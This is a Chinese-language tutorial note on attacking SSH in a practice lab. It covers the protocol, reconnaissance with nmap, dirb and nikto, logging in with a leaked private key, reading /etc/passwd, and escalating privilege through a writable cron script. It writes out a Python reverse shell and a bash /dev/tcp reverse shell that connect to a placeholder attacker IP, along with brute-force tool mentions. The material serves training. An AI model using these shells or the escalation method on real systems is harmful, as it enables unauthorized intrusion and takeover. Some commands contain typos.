SSH协议介绍
是Secure Shell的缩写,是建立在应用层基础上的安全协议;
是专门为远程登录会话和其他网络服务提供安全性的协议;
是基于TCP22号端口的服务
SSH协议认证机制
基于口令的安全验证
只要知道自己账号和口令,就可以登录到远程主机上;传输数据会被加密,但是不能防止“中间人攻击”
基于密钥的安全验证
公用密钥放在需要访问的服务器上;服务器收到连接请求之后,先在该服务器上你的主目录下寻找你的公钥,然后对比私钥,如果一致则验证成功。
私钥id_rsa、公钥id_rsa.pub
SSH协议验证机制弱点
基于口令的安全验证
可以基于字典的暴力破解,破解对应用户名和密码,但不一定能获得root权限
基于密钥的安全验证
通过对主机信息收集获取到泄露的用户名和对应密钥
chmod 600 id_rsa //设置只有文件所有者有读写权限,符合ssh私钥的安全要求
ssh -i id_rsa 用户名@主机地址
-i id_rsa:指定要使用的私钥
主机地址:ip或域名
实验环境
![]()
一般步骤
信息探测
靶场开放的服务与服务的版本
nmap -sV ip
靶场全部信息
nmap -A IP
分析探测结果
对于ssh服务的22端口的靶场,考虑:
暴力破解
私钥泄露(私钥有无密钥、是否可以找到私钥用户名)
对于开放http服务的80端口或其他端口的靶场;
通过浏览器访问
http://ip:http端口号
使用探测工具探测目录
dirb http://ip:http端口号
特殊端口:大于1024
挖掘敏感信息
递归访问目录页面
尤其对robots.txt等一些敏感的目录进行访问,寻找关于id_rsa的信息
也可以使用nikto -host IP 来挖掘敏感信息
利用敏感、弱点信息
对ssh密钥利用
1、修改id_rsa权限
chmod 600 id_rsa
2、利用私钥登录服务器
ssh -i -d_rsa username@靶场地址
如果私钥有解密密码需要进行破解
过程:

登录到服务器当中:
登录服务器之后的操作
切换到/home目录,ls查看有哪些用户
查看当前用户whoami
id查看当前用户的权限
查看根目录寻找flag文件
如果不是root权限则需要提权
cat /etc/passwd 查看所有用户列表
cat /etc/group 查看用户组
find / -user 用户名 查看属于某些用户的文件
/tmp 查看缓冲文件目录
深入挖掘(提权方法)
/etc/crontab文件,是 Linux 系统中用于定义 系统级定时任务 的配置文件,通常只有 root 用户才能修改。但普通用户可以查看它,并可能利用其中的定时任务进行权限提升(提权)。
cat /etc/crontab 查看其他用户是否有定时任务,并查看对应的任务内容,执行任务肯定对应靶机的某个文件
利用缺失的定时任务文件
例如,/etc/crontab 中有如下任务:
* * * * * victim-user /home/victim-user/backup.sh
但/home/victim-user/backup.sh 不存在 或 可被当前用户写入
创建恶意脚本(反弹 Shell)
#!/usr/bin/python
import os,subprocess,socket
s = socket.socket.(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("攻击机IP地址","攻击机监听端口"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/sh","-i"])
echo "bash -c 'bash -i >& /dev/tcp/攻击者IP/端口 0>&1'" > /home/victim-user/backup.sh
chmod +x /home/victim-user/backup.sh
在攻击机上监听
查看攻击机已占用端口,已占用则不能使用其监听
netstat -pantu
监听端口
nc -lvnp 端口
等待定时任务执行,获取 victim-user 的 Shell
万不得已
对ssh服务进行暴力破解,破解工具如hydra、medusa等
利用cupp创建字典
4750

被折叠的 条评论
为什么被折叠?



